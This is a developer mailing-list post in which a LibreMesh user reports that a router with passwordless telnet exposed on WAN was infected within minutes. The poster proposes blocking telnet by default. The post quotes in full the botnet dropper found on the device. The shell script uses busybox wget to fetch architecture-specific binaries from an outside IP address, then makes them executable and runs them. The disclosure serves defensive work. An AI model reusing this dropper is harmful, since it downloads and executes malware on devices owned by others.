[lime-dev] risks of connecting a default lime directly to WAN

So, i just flashed a generic Community Chaos taken from http://downloads.libremesh.org/community_chaos/16.07/ar71xx/generic/ on a device that gets a public ipv4 over WAN went in via telnet, configured some bits, but i felt it was a bit unresponsive. checking loadavg with "uptime": 12:00:25 up 17 min, load average: 3.70, 1.36, 0.53 and logread showed some OOM... suspicious i had been infected already with some malware :( found a process "LA4obRtMROA7TAt2wWN1TnwHw" and a file in the root directory: /bin.sh which i copy at the end of this email for reference. so funny, for a moment i felt a deja-vu like the many times i connected a Windows PC directly to a public IP, and in under 5 minutes it had been infected with viruses. (this LiMe was infected in under 15 minutes as well) It most likely came in via telnet, since that's open and passwordless by default on our releases. I think we should at least block telnet port over WAN by default ########################## #!/bin/sh BIN_NAMES="mips mpsl arm arm7 ppc spc m68k sh4" HTTP_SERVER="95.215.62.11" HTTP_PORT=80 DROPPER_FILE_NAME="dvrAssist" for a in $BIN_NAMES do if [ -f "/bin/chmod" ] then rm $DROPPER_FILE_NAME /bin/busybox wget http://$HTTP_SERVER:$HTTP_PORT/bins/$a -O - > $DROPPER_FILE_NAME chmod 777 $DROPPER_FILE_NAME ./$DROPPER_FILE_NAME else rm $DROPPER_FILE_NAME cp /bin/echo $DROPPER_FILE_NAME /bin/busybox wget http://$HTTP_SERVER:$HTTP_PORT/bins/$a -O - > $DROPPER_FILE_NAME ./$DROPPER_FILE_NAME fi done echo infectfgt